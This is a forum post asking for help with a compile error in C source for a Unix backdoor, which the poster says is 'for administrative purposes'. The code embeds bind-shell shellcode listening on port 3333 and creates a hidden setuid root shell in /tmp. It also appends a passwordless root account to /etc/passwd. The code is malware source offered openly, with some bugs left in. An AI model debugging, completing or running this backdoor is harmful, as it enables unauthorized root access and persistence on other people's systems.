ok so i coded a backdoor for administrative purposes and i get this error when attempting to compile
Code:
bd.c: In function ‘spawn’:
bd.c:117: error: ‘shellcode’ undeclared (first use in this function)
bd.c:117: error: (Each undeclared identifier is reported only once
bd.c:117: error: for each function it appears in.)
code is as follows
Code:
//*nix backdoor by darksys of DarpaNet
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define OPTIONS
char *options_string[OPTIONS] = {
//"-b",
"-s",
"-n",
"-i",
"-x"
};
char *opt_arg[OPTIONS] = { "-", "-n", "-i", "-x" };
int
main (int argc, char *argv[])
{
int c, d, e;
if (argc == 1)
{
Title ();
Functionality ();
Usage ();
return (0);
}
for (e = 1; e < argc; e++)
if (!strcmp (argv[e], options_string[0]))
{
Shell_Code ();
}
if (!strcmp (argv[e], options_string[1]))
{
Bash_Backdoor ();
}
if (!strcmp (argv[e], options_string[2]))
{
Add_Backdoor_User ();
}
if (!strcmp (argv[e], options_string[3]))
{
Information ();
}
if (!strcmp (argv[e], options_string[4]))
{
Contact_Info ();
}
}
int
Usage ()
{
printf ("Usage:\n");
printf ("-b {Spawn a Shell on port 3333}\n");
printf ("-s {creates suid sh in /tmp.}\n");
printf ("-n {creates root account with no pass}\n");
printf ("-i {information.}\n");
printf ("-x {contact info.}\n");
}
int
Title ()
{
Bold ("S");
printf ("imple ");
Bold ("B");
printf ("ackdoor ");
Bold ("U");
printf ("tility\n");
printf ("By darksys of Darpanet - [email protected]\n");
printf ("\n");
}
int
Functionality ()
{
printf ("Current Functionality:\n");
printf (" --spawns a shell on port 3333\n");
printf (" --create suid shell in /tmp\n");
printf (" --creates a root user\n\n");
}
int
Shell_Code ()
{
char shellcode[] =
"\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2 \x52"
"\x66\x68\xfc\xc9\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x02\x5b"
"\x6a\x66\x58\xcd\x80\x6a\x66\x58\x6a\x04\x5b\xcd\x80\x31\xc9\x51\x51\x56\x89\xe1"
"\x6a\x05\x5b\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
}
void
SET_PORT (char *buf, int port)
{
*(unsigned short *) (((buf) + 22)) = (port);
char tmp = buf[22];
buf[22] = buf[23];
buf[23] = tmp;
}
spawn ()
{
printf ("size: %d bytes\n");
(strlen (shellcode));
SET_PORT (shellcode, 3333);
__asm__ ("call shellcode");
}
int
Bash_Backdoor ()
{
printf ("Darpanet Backdoor\n");
printf ("adding bash backdoor... (-s)\n");
system ("cp /bin/sh /tmp/.sh\n");
system ("chmod 4711 /tmp/.sh\n");
printf ("done.\n");
printf ("exec /tmp/.sh\n");
}
int
Add_Backdoor_User ()
{
FILE *fd;
printf ("Darpanet Backdoor\n");
printf ("\nadding backdoor... (-u)\n");
fd = fopen ("/etc/passwd", "a+");
fprintf (fd, "r00t::0:0::/:/bin/sh\n");
printf ("done.\n");
printf ("r00t account added\n\n");
}
int
Information ()
{
printf ("Information:\n");
printf ("Darpanet Backdoor\n");
Usage ();
}
int
Contact_Info ()
{
printf ("\t Contact\n");
printf ("\thttp://www.e-gang.biz\n");
printf ("\[email protected]\n");
}
int
Bold (char *pass)
{
char ESC = 27;
printf ("%c[1m", ESC);
printf ("%s", pass);
printf ("%c[0m", ESC);
}